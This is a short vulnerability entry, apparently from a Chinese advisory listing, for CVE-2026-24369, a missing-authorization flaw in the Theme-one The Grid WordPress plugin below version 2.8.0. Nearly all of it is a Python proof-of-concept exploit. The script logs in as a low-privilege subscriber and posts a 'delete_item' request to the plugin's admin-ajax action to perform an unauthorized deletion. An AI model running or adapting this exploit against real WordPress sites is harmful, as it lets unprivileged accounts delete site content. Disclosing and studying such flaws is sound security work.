CVE-2026-24369 Theme-one The Grid权限缺失漏洞

import requests # Exploit Title: Theme-one The Grid < 2.8.0 - Missing Authorization PoC # Date: 2026-03-25 # Exploit Author: Security Analyst target_url = "http://example.com/wp-admin/admin-ajax.php" username = "low_priv_user" password = "password123" # Initialize session session = requests.Session() # 1. Login as low-privileged user (Subscriber) login_data = { 'log': username, 'pwd': password, 'redirect_to': '', 'wp-submit': 'Log In' } session.post("http://example.com/wp-login.php", data=login_data) # 2. Exploit Missing Authorization # Triggering a sensitive action without proper capability checks payload = { 'action': 'tg_grid_action', # Vulnerable action hook 'type': 'delete_item', # Malicious operation 'id': '1' # Target ID } response = session.post(target_url, data=payload) if response.status_code == 200 and "success" in response.text: print("[+] Exploit successful! Unauthorized action performed.") else: print("[-] Exploit failed or patch applied.")